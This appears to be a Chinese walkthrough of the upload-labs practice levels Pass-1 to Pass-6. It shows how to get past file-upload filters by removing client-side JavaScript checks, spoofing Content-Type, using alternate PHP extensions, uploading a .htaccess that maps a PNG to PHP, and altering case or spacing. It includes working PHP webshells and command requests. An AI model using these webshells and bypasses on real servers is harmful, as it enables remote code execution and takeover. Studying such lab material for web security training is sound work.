pass-1
判断本关文件上传检测方式
①显示源码
本pass在客户端使用js对不合法图片进行检查!js前端检测
2、针对防御措施进行绕过上传
通过JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:
修改JS文件;
上传png后缀的webshell,代理抓包,修改上传的文件后缀 (推荐);
禁用js。
3.实战
右键-查看元素,查看器中找到“οnsubmit="return checkFile()"”删除其值。
此时就可以上传.php文件。
通过木马文件就可以进入后台
Pass-2 文件类型检查有缺陷
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。
绕过方式:
上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;
抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;
放包,收到成功上传;
复制文件上传的路径,请求GET /upload/upload/webshell.php?cmd=whoami。
3、靶机实战
上传webshell.php 内容为:<?php @system($_GET['cmd']); ?>;
抓包修改上传的Content-Type 类型为允许的类型 image/jpeg;
放包,收到成功上传。
Pass-3 黑名单限制不完全
1、判断本关文件上传检测方式
2、针对防御措施进行绕过上传
对于黑名单限制上传文件后缀的可以通过以下几种方式绕过:
通过使用可被执行但不常见的后缀名,比如php5,shtml等等;
上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的
MIME类型;
利用后端解析差异绕过限制。
上传 webshell.php3 内容为:<?php @system($_GET['cmd']); ?>;
复制文件上传的路径,请求 GET /upload/upload/20200304.php5?cmd=whoami。
分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传。
pass-4,判断本文件上传检测方式
分析源码,黑名单包括了几乎所有php后缀文件,但是并没有屏蔽后缀为.htaccess的文件上传
首先上传.htaccecc
<code class="language-plaintext hljs"><FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch></code>
在上述配置中,FilesMatch表示匹配4.png的文件,当该文件名匹配成功后,SetHandler表示将该文件作为PHP类型的文件来进行处置。
然后上传含有一句话木马的4.png文件。
使用远程工具连接。
pass-5
观察源码,具有强大的黑名单列表且屏蔽了后缀.htaccess文件上传,并且将后缀名自动转化为小写。
在文件后缀命中输入一个空格,此空格在上传完成后会自动消失。如5.p hp
<code class="language-plaintext hljs"><?php eval($_REQUEST[123])?> 密码:123</code>
使用远程工具连接。
pass-6
分析代码,使用了黑名单,但并没有自动转换大小写,可将文件后缀改为大小写混合绕过
修改木马文件名为:6.pHP
上传成功,复制图片url地址。使用远程工具连接。